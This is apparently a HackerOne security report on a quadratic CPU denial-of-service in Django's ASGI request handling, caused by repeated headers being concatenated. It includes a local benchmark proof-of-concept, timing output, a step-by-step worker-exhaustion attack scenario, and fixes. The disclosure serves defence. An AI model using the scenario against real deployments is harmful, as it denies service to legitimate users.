ASGIRequest header concatenation quadratic CPU DoS on Django via repeated headers leads to worker exhaustion
Unknown
Vulnerability Details
# ASGIRequest header concatenation quadratic CPU DoS
**Reporter:** Jiyong Yang / BAEKSEOK University
**Target:** Django (current `main`, affects all versions with ASGI support)
**Type:** Denial of Service (CPU exhaustion)
## Summary
`django.core.handlers.asgi.ASGIRequest` builds the `META` dictionary by iterating over the ASGI `scope["headers"]` array. Whenever the same header name appears multiple times (which is legal in HTTP/2 and HTTP/3), the code concatenates the previous value and the new chunk via `value = existing + "," + new`. Because Python strings are immutable, each concatenation copies the entire accumulated value. If an attacker repeats a header `n` times, the loop performs `1 + 2 + … + n = Θ(n²)` bytes of copying before the request even reaches view code. A single request with a few thousand duplicated headers therefore ties up the worker CPU and creates a denial-of-service condition on any Django ASGI deployment.
```85:103:django/django/core/handlers/asgi.py
for name, value in self.scope.get("headers", []):
name = name.decode("latin1")
if name == "content-length":
corrected_name = "CONTENT_LENGTH"
elif name == "content-type":
corrected_name = "CONTENT_TYPE"
else:
corrected_name = "HTTP_%s" % name.upper().replace("-", "_")
value = value.decode("latin1")
if corrected_name == "HTTP_COOKIE":
value = value.rstrip("; ")
if "HTTP_COOKIE" in self.META:
value = self.META[corrected_name] + "; " + value
elif corrected_name in self.META:
value = self.META[corrected_name] + "," + value
self.META[corrected_name] = value
```
## Impact
- One HTTP/2 request that repeats a short header 8,000–16,000 times consumes several hundred milliseconds to multiple seconds of CPU just to build the request object. No body payload is required.
- Attackers can open a handful of parallel connections and keep ASGI workers (uvicorn + gunicorn, Daphne, etc.) saturated, preventing legitimate traffic from being served.
- The attack stays within Django's documented limits (URLs/headers < 8 KB, body < 2.5 MB) and requires no special configuration changes, so it satisfies the Django security policy.
## Proof of Concept
The following script imports Django from the repository, constructs `ASGIRequest` objects with varying header counts, and measures how long `__init__()` spends concatenating:
```python
import sys, time
from io import BytesIO
sys.path.insert(0, "/django-poc")
sys.path.insert(0, "/django-poc/django")
import asgiref.sync
class ThreadSensitiveContext:
async def __aenter__(self): return self
async def __aexit__(self, exc_type, exc, tb): return False
asgiref.sync.ThreadSensitiveContext = ThreadSensitiveContext
from django.conf import settings
if not settings.configured:
settings.configure(DEBUG=False, SECRET_KEY="x", ROOT_URLCONF=__name__,
ALLOWED_HOSTS=["*"], USE_TZ=True)
import django
django.setup()
from django.core.handlers.asgi import ASGIRequest
def bench(n, header_len=128):
scope = {
"type": "http",
"scheme": "http",
"path": "/",
"method": "GET",
"headers": [(b"cookie", b"a=1" * (header_len // 4)) for _ in range(n)],
"query_string": b"",
}
start = time.perf_counter()
ASGIRequest(scope, BytesIO(b""))
return time.perf_counter() - start
for n in (2_000, 4_000, 8_000, 16_000):
print(f"{n} headers -> {bench(n):.6f}s")
```
Example output on my M3 system:
```
2000 headers -> 0.015708s
4000 headers -> 0.066771s
8000 headers -> 0.233624s
16000 headers -> 1.131225s
```
Doubling the header count quadruples the runtime, clearly showing the Θ(n²) growth. All requests used zero body bytes and only ~2 MB of total header data, so they comply with Django's policy limits.
## Attack Scenario
1. Open an HTTP/2 connection to the Django ASGI deployment (gunicorn+uvicorn, Daphne, etc.).
2. Send a GET request with one cookie (or any header) duplicated thousands of times, keeping individual header values small (<128 B) and leaving the body empty.
3. `ASGIRequest` concatenates each copy into `META`, burning CPU before middleware or views run.
4. Repeat on a few concurrent connections to keep all worker processes busy and deny service to legitimate users.
## Root Cause
The request constructor stores repeated headers as a single comma-delimited string by copying the full accumulated value at every iteration. Because Python strings are immutable, each `existing + "," + value` operation reallocates and copies the entire string. There is no upper bound on repeated headers and no streaming/buffering mechanism, so the loop performs Θ(n²) work for Θ(n) input.
## Remediation Ideas
1. Collect repeated headers in lists (e.g., `defaultdict(list)`) and only call `",".join(values)` after the loop, reducing the complexity to O(n).
2. For cookies, use `"; ".join(...)` with the same approach instead of repeated string concatenation.
3. Optionally enforce a sane maximum repetition count per header name to fail fast on absurd inputs.
## Policy Fit
- Inputs remain within Django's published limits (body under 2.5 MB, headers under 8 KB per entry).
- Attack works against default ASGI deployments with no custom settings.
- Impact is a classic CPU exhaustion DoS, explicitly listed as in-scope for Django's security program.
## Timeline
- 2025-11-14: Issue discovered and locally benchmarked.
Actions
View on HackerOneReport Stats
- Report ID: 3426417
- State: Closed
- Substate: resolved
- Upvotes: 1